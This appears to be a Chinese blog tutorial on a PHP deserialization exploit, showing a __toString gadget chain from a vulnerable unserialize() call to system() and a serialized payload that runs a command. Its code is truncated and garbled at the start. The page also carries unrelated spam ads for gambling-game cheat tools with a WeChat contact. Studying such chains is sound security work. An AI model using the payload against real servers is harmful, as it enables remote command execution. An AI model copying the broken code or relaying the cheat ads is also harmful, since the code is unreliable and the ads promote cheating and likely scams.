【web】-反序列化-to_string
创始人
2024-12-28 06:04:56
0次 
s;     }      } class B{     public $cmd;     public function __toString()     {         system($this->cmd);         return 1;     } } unserialize($_GET['code']);

__toString()当对象被当着字符串执行的时候，自动执行

起点："hello".$this->s;

终点：system($this->cmd);

跳板："hello".$this->s;

s;     }      } class B{     public $cmd;     public function __toString()     {         system($this->cmd);         return "1";     } }   $a = new A(); $b = new B(); $b->cmd='dir'; $a->s=$b;  echo serialize($a); ?>   O:1:"A":1:{s:1:"s";O:1:"B":1:{s:3:"cmd";s:3:"dir";}}

执行结果如下：

上一篇：EasyAnimate-v3版本支持I2V及超长视频生成

下一篇：STM32全栈嵌入式人脸识别考勤系统：融合OpenCV、Qt和SQLite的解决方案

相关内容

热门资讯

经调查！八仙竞技馆辅助，hhp... 您好，hhpoker辅助实战视频这款游戏可以开挂的，确实是有挂的，需要了解加去威信【13670430...
目前！广西友玩修改器，微信小程... 目前！广西友玩修改器，微信小程序微乐辅助器，线上教程（确实真的是有挂）-哔哩哔哩1、微信小程序微乐辅...
据报道！茶馆游戏辅助，家乡大二... 据报道！茶馆游戏辅助，家乡大二辅助，可靠教程（一直真的是有挂）-哔哩哔哩小薇（透视辅助）致您一封信；...
截至目前！四川游戏家园辅助软件... 截至目前！四川游戏家园辅助软件，佛手在线做辅助下载，必胜教程（好像有挂）-哔哩哔哩1、在四川游戏家园...
据通报！手机南通长牌辅助，微信... 据通报！手机南通长牌辅助，微信小程序财神十三脚本，技巧教程（确实真的是有挂）-哔哩哔哩1、点击下载安...
据了解！天天微友有辅助吗，兴动... 据了解！天天微友有辅助吗，兴动助手脚本，解密教程（一直真的是有挂）-哔哩哔哩1、天天微友有辅助吗机器...
现场直击！蜜瓜大厅辅助免费下载... 您好，蜜瓜大厅辅助免费下载这款游戏可以开挂的，确实是有挂的，需要了解加去威信【136704302】很...
今日！微信小程序功夫川麻小程序... 今日！微信小程序功夫川麻小程序辅助，传送屋高仿版辅助，攻略教程（切实真的是有挂）-哔哩哔哩1、微信小...
刚刚！中至鹰潭亲友圈辅助，约局... 刚刚！中至鹰潭亲友圈辅助，约局吧可以看到别人底牌，教你攻略（都是是真的挂）-哔哩哔哩1、约局吧可以看...
有玩家发现！广东雀神智能插件是... 有玩家发现！广东雀神智能插件是真有挂，赣牌圈的隐藏机制，攻略教程（切实是有挂）-哔哩哔哩1、不需要A...